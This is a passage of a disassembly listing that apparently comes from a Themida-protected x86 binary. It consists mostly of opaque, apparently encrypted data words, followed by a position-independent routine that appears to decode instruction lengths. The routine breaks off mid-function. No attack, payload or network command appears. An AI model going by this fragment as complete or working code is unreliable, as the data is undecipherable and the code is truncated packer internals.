		dd 381CB8CAh, 4F129Eh, 81250000h, 349951Fh, 88C61E85h
		dd 9A615436h, 0BA3CB6Fh, 0A0B19273h, 705E81F7h,	9A28A273h
		dd 0C1D94775h, 0BCF9A701h, 1D506A60h, 5235BAA8h, 35711F8Fh
		dd 7BC5E7D5h, 9E564D53h, 0EFA067D7h, 0A873D225h, 0C2FC8EA0h
		dd 689E3893h, 0CEh, 0D511770Fh,	6CB8F9E7h, 0FE3A606Eh
		dd 0C2CCD2F0h, 9A7F7405h, 0B3F39175h, 6A17F557h, 0C0A23CB2h
		dd 0C25314ACh, 88759A7Fh, 39AC3368h, 20BA701Fh,	7D23F3ADh
		dd 0DFE1EF3Bh, 86B9AAFEh, 0E1D44A59h, 9AFF0424h, 57AFF575h
		dd 1DD5CD2Dh, 0C1A30D5Fh, 0B9DDE889h, 6E085215h, 6BF58F54h
		dd 885C5D43h, 2CF8BAE4h, 0BE7A20AEh, 89CCAE30h,	1CC8C9D7h
		dd 6D6FDCB1h, 7578F604h, 0B5Dh,	6555B7F0h, 0EFE3277Bh
		dd 777BA7E1h, 0FEF23269h, 470BD1D0h, 0CCCD2D4Ah, 4E365018h
		dd 0F5B0DE92h, 7F25A32Fh, 0FF9737BBh, 0D7F5AB48h, 0EA234E73h
		dd 20510A77h, 0A07C395Ch, 0C0384D45h, 45404E66h, 7C1AD69Fh
		dd 16EEE226h, 0B9EF0988h, 836D7F7Dh, 11776DCAh,	0D2DFC1D5h
		dd 3010940Ah, 0DDC3C1BDh, 37A57D25h, 3687CB95h,	3D7h, 0B9374F9Eh
		dd 322F8B89h, 86CFA973h, 4150C6B1h, 0FD6A0236h,	8F69F147h
		dd 35AC04A6h, 0EF3E560Ah, 0C5A9D357h, 8C30B9Bh,	5458D9CDh
		dd 0BA2DC38Ah, 891FF704h, 85115FE1h, 98B744A4h,	2CA1870Eh
		dd 9F92A67Bh, 19B1E175h, 86BC12C8h, 696E18D3h, 759F2888h
		dd 4A9AD36Dh, 92D4D674h, 27BF9875h, 9F20D3A0h, 0F6943675h
		dd 46185692h, 316B80Fh,	0AE7F0000h, 759A7FFDh, 9A7F07E9h
		dd 0B2E61175h, 0AB65CB1Ah, 0C5CE97h, 59A426E5h,	5064B231h
		dd 9A3E0697h, 1459E375h, 3BD3CB7Ch, 0D4768F52h,	6F3AB209h
		dd 27964404h, 0A45h, 7D7DAFE8h,	0C78B4F53h, 4F03DFD9h
		dd 0D69A5A41h, 5F13C9C8h, 0E4A54522h, 662EA820h, 0EDA836BAh
		dd 871DBB37h, 17BF0F43h, 0D7F4C350h, 925B2673h,	0E7D51177h
		dd 274FF31Eh, 2CD5BE8Fh, 0AB0D061Bh, 0B9CA6522h, 912B8F69h
		dd 92D58D9h, 0C7B7E265h, 34968924h, 6AB6FEA0h, 36B4A166h
		dd 0E0EE759Ah, 0ECA836BAh, 36F2A8F6h, 0D0A126B8h, 35759A36h
		dd 6BAFF5ABh, 0F3F95B65h, 0EF3B7D23h, 30B7DFE1h, 759A3663h
		dd 2DB12486h, 783DB377h, 9764E34Dh, 72759A36h, 957732E8h
		dd 7224A3CBh, 5F8F5206h, 4A14F0B1h, 6F181EEBh, 0B33AB004h
		dd 995h, 2DAD7F38h, 0B73BFFA3h,	3FB36F29h, 86CA0A91h, 0F439918h
		dd 0B4F51592h, 367E1850h, 0BDF8E6EAh, 376D6B67h, 0C7EFFFF3h
		dd 0D7F37300h, 22EB9673h, 4B971F81h, 4B32BB05h,	0CF781C40h
		dd 8F69F18Ch, 0E37B13ADh, 0D7019764h, 0E5E87273h, 0C505810Fh
		dd 5F8B0B95h, 9B1B8511h, 0E1BF014Fh, 697379B9h,	0F2729D64h
		dd 5A646AAEh, 0DC13D4F8h
		dd 3D89248Fh, 3D482DA3h, 772B7519h, 9C4B5830h, 0BC1E3593h
		dd 5329AC3Eh, 52C40A94h, 8855F78Fh, 46FC505h, 0FE4A63E9h
		dd 91000008h, 1CBA3616h, 820C4C84h, 0A94C400h, 711F5395h
		dd 0E9E4D430h, 0FF2D6C8Ch, 71D1D5F3h, 8E565F79h, 1ADEC4C2h
		dd 0E95E7656h, 73D7F308h, 774B8CEDh, 0F9E7D511h, 7FC8E4A3h
		dd 12BA9F04h, 1D9C3AB0h, 9D0381CFh, 0A9B51359h,	0E2FACC97h
		dd 44FC9D4Ah, 4719759Ah, 67003E0Eh, 0CFD1E521h,	0E501EC6h
		dd 0FC0E9547h, 569870FEh, 128h,	0D5117761h, 0B43E0FE7h
		dd 12797C21h, 8B11BD30h, 5762034Fh, 6C917EE9h, 0EA74759Ah
		dd 87E36408h, 8C8F527Eh, 8468202h, 9BD10B8Ah, 0A90667C1h
		dd 742DE78Dh, 0BD5C98Ch, 15CD9E45h, 428A73D2h, 0AFACDE6Ch
		dd 31069E38h, 31000000h, 917EE981h, 74759A7Fh, 0C5E78BEAh
		dd 52FC1F29h, 3569941Bh, 9A3826A1h, 0C39D8F52h,	8A05D68Dh
		dd 1A4273D2h, 3C648624h, 9FCE9E38h, 0E9000000h,	917EE981h
		dd 74759A7Fh, 0A5FBE3EAh, 7F5F3CABh, 20BA759Ah,	3ED3F7Ah
		dd 0A6424F4Dh, 145A24E0h, 0E6D41076h, 465AA2F8h, 3953A382h
		dd 8D3BC0ADh, 60F8AF23h, 27759A62h, 0EAE33F79h,	767ABEE4h
		dd 0B4EC848Fh, 3F995B40h, 2C8E395Dh, 0D18F54F3h, 7839670Fh
		dd 0E7A22CACh, 0F2DF5825h, 0B937046Dh, 7B034h, 80404300h
		dd 1EDACEC8h, 96723452h, 2DE7BCDAh, 0A66623ADh,	1EFEBF2Ah
		dd 87014993h, 18FC31Fh,	76105884h, 0C4E4D410h, 0F15A3BACh
		dd 0F2BF73D7h, 0D20A773Dh, 6EAAF09Eh, 1177CD62h, 0A3F9E7D5h
		dd 50426B67h, 15000000h, 4FBA081h, 67DE0A3Dh, 3636D16Eh
		dd 1D9DDBD7h, 1045D5E8h, 923A5E69h, 69211CD5h, 2BCE1F8Fh
		dd 577BE568h, 0F1336836h, 5478C2FCh, 0DD90544Ah, 2828BC9Bh
		dd 0ECE13B66h, 3B7AFA05h, 77D1EBE1h, 6C52E85Fh,	15B78924h
		dd 48EC5Dh, 90BB0000h, 59D3165h, 9A7FB542h, 0C78E5075h
		dd 61C8B631h, 932D8F52h, 81B666DDh, 9C7C73D3h, 0A3D7E2A2h
		dd 80AE5C0Bh, 5CAD76E5h, 0A68E9222h, 0F3B36984h, 4E075917h
		dd 7E68E50h, 0E9AD8C8Bh, 7F31A4ADh, 0D87Eh, 65900900h
		dd 172A9D31h, 0F68F69F1h, 0AEC61754h, 7C0586Ch,	73D70176h
		dd 0A484C993h, 0A33A0B8Ah, 0ABD97560h, 0BE08E95Eh, 53ED73D7h
		dd 0ABD7FCF1h, 19E3D08h, 89h, 0FB659034h, 9A7FAF4Ch, 16F04A75h
		dd 0D711AF7Eh, 9BB30D3h, 13BAC44h, 0E08F69C8h, 0A430615Eh
		dd 9A280666h, 9E3D8E68h, 1FFC6B03h, 0FA73D734h,	52566D60h
		dd 3E000000h, 345021A6h, 2BB573D7h, 1F8195A2h, 0D531738Bh
		dd 757BC5E7h, 0F784436Bh, 12759A7Fh, 537E0548h,	6BC0872Fh
		dd 688F69F1h, 2DA07C26h, 0C4D02FB1h, 42D3942Ch,	0A773D701h
		dd 1B15E05h, 8A5473D7h,	985A6AC3h, 0D6D0724Ch, 7C9E3DBBh
		dd 19h,	5655AE3Bh, 0EDA8759Ah, 4527B937h, 0FFFEEAE8h, 0F4BEE0FFh
		dd 5518A228h, 316590E0h, 0F0C72A9Dh, 84268F69h,	38E4AEF0h
		dd 9465E2B2h, 7173D700h, 89F0DEFh, 0B53882C8h, 6D113CF9h
		dd 8EA89E49h, 0CF4D8924h, 30BE18D8h, 6A2A4A75h,	0CCAE30BEh
		dd 0F02C3FA8h, 0B08D8F69h, 4DC034ECh, 545ECC9Bh, 1EF8C288h
		dd 0E4829776h, 7B9E81B4h, 667798Ah, 0DB92E31Fh,	0BFE3AD45h
		dd 626B757Bh, 0ECEC247Ch, 40C5FA05h, 24265EEAh,	2607AF09h
		dd 8EEC4E14h, 3FDC8B4Ah, 0DA73D7F6h, 592FA600h,	24798BEEh
		dd 0B7EC6A89h, 836D7F7Dh, 24E0A5EBh, 0AE4FF890h, 4B759A89h
		dd 7000FCF1h, 9353791h,	0A82D0168h, 0B0906FFFh,	0C4DA1Dh
		dd 9C584E48h, 39AE46DEh, 0EDBC8058h, 3C7D23BDh,	0F31EE5E8h
		dd 2379274Fh, 0AD0FDBDBh, 47975028h, 441774B9h,	0A95A3BACh
		dd 2DBFEBF4h, 269436A8h, 0E780BE8Eh, 6B7565A1h,	0DEFCF22Ah
		dd 38660ECAh, 1EFF687Eh, 0FBEBF4A9h, 3DC98761h,	0F4A9ED8Ah
		dd 0D4B608EBh, 0E5AF2DE1h, 9315B339h, 1A9B39B7h, 0A1328CC2h
		dd 0A9FE89A7h, 0FD5F616Fh, 4D4C62E2h, 0D7854143h, 0B26A17F5h
		dd 12933Bh, 0F4A9B647h,	2F8953EBh, 42821987h, 413BB20Ch
		dd 0C8865E47h, 0C11D6D7Bh, 4D5D58EFh, 0F4A9FD9Ah, 0E44618EBh
		dd 18C4CED0h, 90549B55h, 1CBA3066h, 0DB2A4286h,	51613D4Fh
		dd 0EDA1145Eh, 90013F2Fh, 0CF5D870Eh, 0D1581DD9h, 0D38F70A7h
		dd 26C4FE1h, 8FAB623h, 8A54CDA5h, 0D1962EC6h, 759A5B40h
		dd 0DB3A1BA5h, 0DCC01D4Ah, 2066686Dh, 6A3EDED8h, 8ECCAEh
		dd 48125898h, 0EE3F0CEEh, 0FC3212D7h, 0DDF1356Bh, 0A22BEFB3h
		dd 0D0108816h, 0BCDD2BCh, 0BC727B45h, 9AAC36C7h, 19DDC375h
		dd 94703553h, 80BE8E26h, 1D1373DBh, 9263E47Ch, 91759AACh
		dd 9AAC39D6h, 8C02DC75h, 8F13BB32h, 1C99074Bh, 79D58AC0h
		dd 39759AACh, 9D4D4957h, 913608D8h, 0DF80C814h,	759A81C2h
		dd 0B5F6833h, 68369870h, 0E18E3929h, 4759AB9h, 0F492D8BAh
		dd 471957B5h, 0A17D27E5h, 0FF31952Ch, 2EFFFFFFh, 0B940C380h
		dd 6322F84Fh, 24A933B9h, 0D5117713h, 61A5FBE5h,	0E2267C1Ah
		dd 43A0A9Dh, 9F93D63h, 429A0789h, 4F0DC7DCh, 5753787Dh
		dd 0FD9870C9h, 5Bh, 0D6590B8h, 0DEC2588Ch, 0A80A541Ah
		dd 0F4082504h, 463BCBC6h, 78CE790Fh, 9D8F6943h,	836DA9FFh
		dd 6FD928BCh, 9A8541BBh, 6D78D598h, 6B77D66Eh, 0AF29ADE7h
		dd 0DDD37164h, 0B334A2ADh, 73D739E2h, 0B3DBA507h, 24B73E34h
		dd 0B101DB89h, 54F8h, 4171D000h, 9A86A771h, 9055E2EBh
		dd 473AB265h, 416330B7h, 2486759Ah, 4ECA3FD9h, 8AD49A46h
		dd 0A1264E28h, 8F69D989h, 0BCEDD26Ch, 0DAD43826h, 0C4789FAAh
		dd 0C37B2899h, 56385C3Eh, 10CCC92Fh, 0FE693FB6h, 89241848h
		dd 9F15FA4Bh, 0F6E2BB5Bh, 857DCFFFh, 0D5117752h, 67A3F9E7h
		dd 724A9B6Bh, 0C0DA687h, 5B660D40h, 44BE8F27h, 8866AC8Eh
		dd 1BCCA429h, 8F5260EFh, 4D32B802h, 73D26090h, 2BB9F7D7h
		dd 9E38DA1Fh, 3DB5h, 65904000h,	3C2A9D31h, 998F5262h, 616FBBFBh
		dd 8FFFD5Fh, 73D27257h,	971E8010h, 38BD0F4Dh, 0EF871628h
		dd 0D2729B78h, 5A6F7E73h, 481B9C51h, 18813496h,	9E38B7EEh
		dd 0DC44h, 11777300h, 770FE7D5h, 34B36F29h, 759A7F67h
		dd 29B53882h, 174D3F68h, 275562AFh, 13891745h, 0C9D1BFD7h
		dd 0C8A4409h, 0A91E5296h, 759A2703h, 6068ACF2h,	0F6E42066h
		dd 2D9A040Fh, 759A274Ch, 21B517A9h, 5217FCA6h, 430FD18Fh
		dd 7CA8EDB3h, 0EF87B279h, 925579A5h, 73D20805h,	0D8FC5EE0h
		dd 0B3495E40h, 1AA42AF2h, 456E5DB8h, 5D2CDA40h,	0F805AF18h
		dd 5AE4891Ch, 0FF2D6C32h, 267D23F3h, 97DEE0EEh,	0F3528AF7h
		dd 225F924h, 0F67974FAh, 99000001h, 482CE1Eh, 8A14449Ch
		dd 0F29CDC08h, 79676BADh, 0F1ECEC38h, 0F75554B4h, 9D9DDFBh
		dd 865E4741h, 12D6CCCAh, 0E1660E5Eh, 73D7EC10h,	7743B4F5h
		dd 69ED20Ah, 84411E98h,	0C8C11AB0h, 0FAC48A54h,	2FA66224h
		dd 0BD3DF9AFh, 316590BAh, 623C2A9Dh, 0C7998F52h, 7279D289h
		dd 1E3E73D2h, 0C4608220h, 5CA9E38h, 0ED000001h,	917EE981h
		dd 74759A7Fh, 0A5FBE3EAh, 41434D61h, 0C0F5D785h, 1101800Eh
		dd 9AD9058Fh, 759A7FFDh, 0ED3F7A18h, 9173DDEFh,	7B5C64DBh
		dd 0F7AD759Ah, 0A34A9B33h, 6CF05563h, 0BC54084Dh, 7134CCD2h
		dd 3983C9ABh, 8C742AB4h, 0CE90DE0Ah, 7C876E6Ch,	0A8EAB4D8h
		dd 696C7E7Ch, 2A72D493h, 8D5F8F52h, 27E3A7E9h
		dd 0D3F294A9h, 62CE2FCEh, 9213CD80h, 0F59B3367h, 0D5CA50B4h
		dd 4A035D13h, 3ACC35B2h, 0D4E9891Ch, 401969A7h,	630BD588h
		dd 20A87C3Dh, 0A1474E50h, 15B725E5h, 32BB054Bh,	0B5BCEDACh
		dd 5160674Bh, 0DDF65731h, 0F5022526h, 0DB7647h,	357E0000h
		dd 0A1F9E7EBh, 256F6961h, 0B0D7F1F9h, 535E7870h, 0ABD4C189h
		dd 0D29E4E4Bh, 5810F0B4h, 2DAD773Eh, 0B139FDA3h, 29C68129h
		dd 0CC73D7EAh, 0A7768ADh, 99D32751h, 66C0456Dh,	6031B64Eh
		dd 85759A30h, 0E7419D07h, 0E9432EEh, 0A4FCA2CAh, 80B7696Ch
		dd 4F8B1F81h, 0C6029806h, 50940A88h, 9F068818h,	0D9B63145h
		dd 3C759A7Fh, 0FDA32BA2h, 4AFD9539h, 759A7FADh,	0DFFF648h
		dd 0A1E51D83h, 7F5F3CABh, 20BA759Ah, 0D4B60846h, 28760EE6h
		dd 0A03AB070h, 9A7F5223h, 7715B775h, 27E0D511h,	8CEDA661h
		dd 0D5724C90h, 2D0688CFh, 6AB4A70Ah, 0C0C6C088h, 0C5A77D38h
		dd 52920997h, 9830481Ch, 4BCE4E2Fh, 8B11AB7Dh, 4997DE0Eh
		dd 0ECAD077h, 9A5E4442h, 399D4h, 8BAC0000h, 0DC0C77BCh
		dd 6EAAF09Eh, 0F9236260h, 71D1D5F3h, 885C5D7Bh,	7C5C4C2h
		dd 9C544B49h, 2AF6B0DEh, 0A66226A4h, 89535B28h,	4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 242C895Ch, 5E08950h, 4
		dd 42Dh, 24048700h, 2404895Ch, 81E68956h, 4C6h,	4EE8100h
		dd 87000000h, 895C2434h, 0B951243Ch, 297403CEh,	76A2F181h
		dd 0E1C1115Ah, 29C18108h, 51D7D814h, 39243481h,	58300C0Eh
		dd 0C0E3935h, 0EC835930h, 24248904h, 4240481h, 5F000000h
		dd 9968h, 24048900h, 0C6242C81h, 8F46A571h, 47810847h
		dd 0A571C608h, 2434FF46h, 4C4815Fh, 0FF000000h,	81582434h
		dd 4C4h, 0B214E900h, 0A359FFFBh, 4CBEE58Ch, 0BA17698Fh
		dd 4D9609B8h, 0FFC50306h, 1992DEE0h, 57A0B327h,	4BDFAD5Fh
		dd 4C66464Fh, 0D9115A35h, 0D7525543h, 18EDF525h, 0A2DB2300h
		dd 0D1985A62h, 15878023h, 9C962F66h, 0AA96F056h, 0B58D8D4Bh
		dd 6A064D97h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0C1C6C356h, 949989FAh,	1668AC24h
		dd 58D89F5h, 89064814h,	482FD1B5h, 2585C706h, 7C064830h
		dd 6A000064h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 4DFAC351h, 95893B82h, 6480EBDh
		dd 800Fh, 85C70000h, 6482AD9h, 0
		dd 1699950Bh, 0B5FF0648h, 6481221h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 90C35646h, 65EB544Fh, 0C079C972h
		dd 68F0Fh, 0BD090000h, 6480065h, 0E7195FFh, 0C7B80648h
		dd 6A1AFE80h, 2D95FF00h, 8B064809h, 0E3AEBC0h, 62020000h
		dd 0AFF4C5F6h, 0EE5CB9D5h, 0B9E89CDAh, 1E4BE969h, 8E93BD98h
		dd 30F667DCh, 3F43CD8Ah, 0CAABDA27h, 0E5CB4FEDh, 3B0884C3h
		dd 835E7F35h, 6ADED69Eh, 0B0D89347h, 688D8D8Eh,	66064D98h
		dd 8D89FB8Bh, 6481405h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0DAC35242h, 2A86042Bh, 0C788F5B8h, 48302585h
		dd 5E1406h, 0C766B300h,	482AD985h, 6, 2870F00h,	8B000000h
		dd 21B5FFF1h, 1064812h,	4806219Dh, 7195FF06h, 0BF06480Eh
		dd 46EE4A70h, 4C99D8Bh,	6A0648h, 92D95FFh, 0C08B0648h
		dd 332E3AEBh, 3B745AAFh, 59062301h, 7B240102h, 0F66CA3F9h
		dd 4421D9Fh, 0EAE8577Fh, 385A2BF0h, 9EB62253h, 7F6E99D3h
		dd 0CEC791h, 0C6533CC0h, 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh
		dd 997D8D8Dh, 0D381064Dh, 1AABB59Ch, 14058D89h,	0DFB60648h
		dd 0EE8h, 0BE276300h, 212EAB9Eh, 6417038Ch, 0F20AF19h
		dd 80h,	85C75B00h, 6483025h, 5A74h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 3BC35343h, 2E8BB10Fh, 4623C141h
		dd 61F9F081h, 0B70F7A7Ah, 0D985C7C1h, 6482Ah, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0A668C350h, 66D2FF42h, 0F2BF0F4Dh, 27C9BD89h
		dd 0B5FF0648h, 6480C99h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 85C35545h, 958BFA37h,	64823EDh, 0E7195FFh
		dd 81660648h, 6A2470CBh, 2D95FF00h, 8B064809h, 0E95CEBC0h
		dd 8EF38255h, 646DC87Ch, 7E926CBFh, 1B94D664h, 8F0C9754h
		dd 2A227F29h, 5548FD3Ch, 0BEE2659Bh, 12958193h,	7CF8BAFEh
		dd 32BEF332h, 0D22C47EDh, 0E321CF85h, 0DD1EF6ADh, 9D971BF5h
		dd 0BD0C2D9Bh, 0A117167Fh, 0C7296725h, 0A0187D96h, 8EF69DE8h
		dd 62F98829h, 0A3C6273Bh, 0E887C613h, 0Ah, 988F15EFh, 0D3427254h
		dd 0EE8C75Dh, 13000000h, 61F6A694h, 0D337F4EDh,	0EB6F3260h
		dd 818D8976h, 5E06481Ch, 8E859h, 0E4CE0000h, 395576D0h
		dd 81667E23h, 5E97C7F3h, 6479C181h, 7E90000h, 28000000h
		dd 0D8C67AA5h, 0C02B746Dh, 0BAD8D89h, 34FF0648h, 2800F08h
		dd 8B000000h, 0C3805ADFh, 28C281CDh, 0F4607D9h,	384h, 0DABF0F00h
		dd 5AEBF281h, 9D891623h, 6481A39h, 0F3E9C281h, 820F5221h
		dd 3, 89DAB70Fh, 0FF90114h, 688h, 0B9BD8B00h, 81064814h
		dd 0F8695BE8h, 81FE8B30h, 0F86957C0h, 7E930h, 0CC3E0000h
		dd 0BABC1859h, 5CF881EEh, 0FFFFF9Ch, 0FFFF9185h, 13E9FFh
		dd 0CC5E0000h, 0CE3CED79h, 5B2BCFAFh, 8202E09Ah, 0C0589C2Ah
		dd 12E8A4h, 54B90000h, 80BD1F2Dh, 519AA68h, 6E119693h
		dd 0EDC05747h, 0B91B50Bh, 29580648h, 480D4985h,	99C08106h
		dd 60000075h, 52525EB0h, 0BF615E5Eh, 77A793C2h,	8974C781h
		dd 0B2608858h, 28D9BEB3h, 8B61046Dh, 1A8D0F08h,	0E8000000h
		dd 0Eh,	0F3A3E6C2h, 0DF77A139h,	2CA0FC0Dh, 9D894E15h, 6481555h
		dd 0A4F1815Ah, 8104D7F8h, 1F4FEAE9h, 0FBD68120h, 816B0DABh
		dd 7163D4F1h, 168D0F2Fh, 0E9000000h, 11h, 25A3C06Dh, 6E9796D1h
		dd 5555BA6Dh, 57D3FCE6h, 0BA66519Ch, 8F1713h, 0E883E6B3h
		dd 5E804h, 637F0000h, 0E947837Dh, 0Bh, 0BA4332ACh, 27CD26CBh
		dd 5E1DA3F8h, 7C850F4Fh, 0E9FFFFFFh, 1C8h, 8 dup(418888h)
		dd 4 dup(0)
		dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h
		dd 0
		dd 600h, 4444h,	41h, 11111111h,	44444444h, 0C9880299h
		dd 100203h, 118888h, 88888888h,	11111111h, 1644h, 2 dup(88000000h)
		dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2	dup(0)
aIiiiiiiiaiiiii	db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0
aIssi		db 'ˆ™™ˆ',8,0
		db 2 dup(0), 88h
aDdddddddiiiiii	db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0
aAs		db '€™',0
		dd 88998000h, 88888888h, 88888900h, 89998888h, 0
		dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h
		dd 8888888h, 3E362E26h,	67666564h, 0F3F2F0h, 0
		dd 0FFFFFFFFh, 4016E6h,	4016FAh, 2 dup(0)
		dd 3, 14h dup(0)
		dd 8E000CC2h, 7575h, 1,	11h dup(0)
		dd 353E9h, 0E85500h, 5D000000h,	9D5EED81h, 0C760064Dh
		dd 4D9CAB85h, 6, 3E816600h, 850FA166h, 0Fh, 9CAF85C7h
		dd 6064Dh, 24E90000h, 8D000000h, 4D9CB385h, 858D5006h
		dd 64D9D03h, 6A5650h, 1DE8h, 10C48300h,	0FF25h,	0AF858900h
		dd 61064D9Ch, 9CAFB503h, 858B064Dh, 64D9CABh
		db 5Dh,	0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5932A7
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5932B3
; ---------------------------------------------------------------------------


loc_5932A7:				; CODE XREF: Themida_:00593290j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5932B3:				; CODE XREF: Themida_:005932A2j
		push	ebx
		push	esi
		push	edi


loc_5932B6:				; CODE XREF: Themida_:0059330Bj
					; Themida_:00593327j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5932C9:				; CODE XREF: Themida_:005932F0j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 64D9E15h
		lea	ebp, [ebp+64D9C8Bh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5932F6
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5932C9


loc_5932F6:				; CODE XREF: Themida_:005932E5j
		cmp	cl, 0Bh
		jz	loc_593353
		cmp	al, 66h
		jnz	loc_593334
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5932B6
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_59332C
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5932B6
; ---------------------------------------------------------------------------


loc_59332C:				; CODE XREF: Themida_:00593319j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_593334:				; CODE XREF: Themida_:00593301j
		cmp	al, 67h
		jnz	loc_5932B6
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5932B6
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5932B6
; ---------------------------------------------------------------------------


loc_593353:				; CODE XREF: Themida_:005932F9j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_59337F
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_593384
; ---------------------------------------------------------------------------


loc_59337F:				; CODE XREF: Themida_:0059335Ej
		movzx	edi, al
		shr	edi, 1


loc_593384:				; CODE XREF: Themida_:0059337Aj
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 64D9ECDh
		lea	ebp, [ebp+64D9B8Bh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_593506
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_59344A
		dec	ecx
		jz	loc_59342D
		dec	ecx
		jnz	loc_59349D
		cmp	byte ptr [ebp-2], 0
		jnz	loc_593499
		cmp	byte ptr [ebp-5], 0
		jz	loc_59340C
		mov	byte ptr [ebp+0Bh], 2


loc_59340C:				; CODE XREF: Themida_:00593402j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 64D9F59h
		mov	dword ptr [ebp+64D9CABh], 1
		pop	ebp
		jmp	loc_59349D
; ---------------------------------------------------------------------------


loc_59342D:				; CODE XREF: Themida_:005933E7j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_593477
		cmp	byte ptr [ebp-5], 0
		jz	loc_593477
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_593477
; ---------------------------------------------------------------------------


loc_59344A:				; CODE XREF: Themida_:005933E0j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_593490
		cmp	byte ptr [ebp-5], 0
		jz	loc_59347F
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_593477
		mov	[ebp+0Bh], cl


loc_593477:				; CODE XREF: Themida_:00593431j
					; Themida_:0059343Bj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_59349D
; ---------------------------------------------------------------------------


loc_59347F:				; CODE XREF: Themida_:00593458j
		cmp	dl, 5
		jnz	loc_59349D
		mov	[ebp+0Bh], dl
		jmp	loc_59349D
; ---------------------------------------------------------------------------


loc_593490:				; CODE XREF: Themida_:0059344Ej
		cmp	dl, 6
		jnz	loc_59349D


loc_593499:				; CODE XREF: Themida_:005933F8j
		mov	byte ptr [ebp+0Bh], 3


loc_59349D:				; CODE XREF: Themida_:005933EEj
					; Themida_:00593428j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5934CB
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5934AD:				; CODE XREF: Themida_:005934C3j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5934AD
		mov	esi, edx


loc_5934CB:				; CODE XREF: Themida_:005934A0j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_593500
		cmp	edi, 7Fh
		ja	loc_593500
		test	bl, 38h
		jnz	loc_593500
		cmp	byte ptr [ebp-7], 0
		jz	loc_5934FA
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5934FD
; ---------------------------------------------------------------------------


loc_5934FA:				; CODE XREF: Themida_:005934EBj
		push	1
		pop	eax


loc_5934FD:				; CODE XREF: Themida_:005934F5j
		mov	[ebp-1], al


loc_593500:				; CODE XREF: Themida_:005934CFj
					; Themida_:005934D8j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_593506:				; CODE XREF: Themida_:005933B0j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_593531
		dec	eax
		dec	eax
		jz	loc_593527
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_593539
; ---------------------------------------------------------------------------


loc_593527:				; CODE XREF: Themida_:00593516j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_593536
; ---------------------------------------------------------------------------


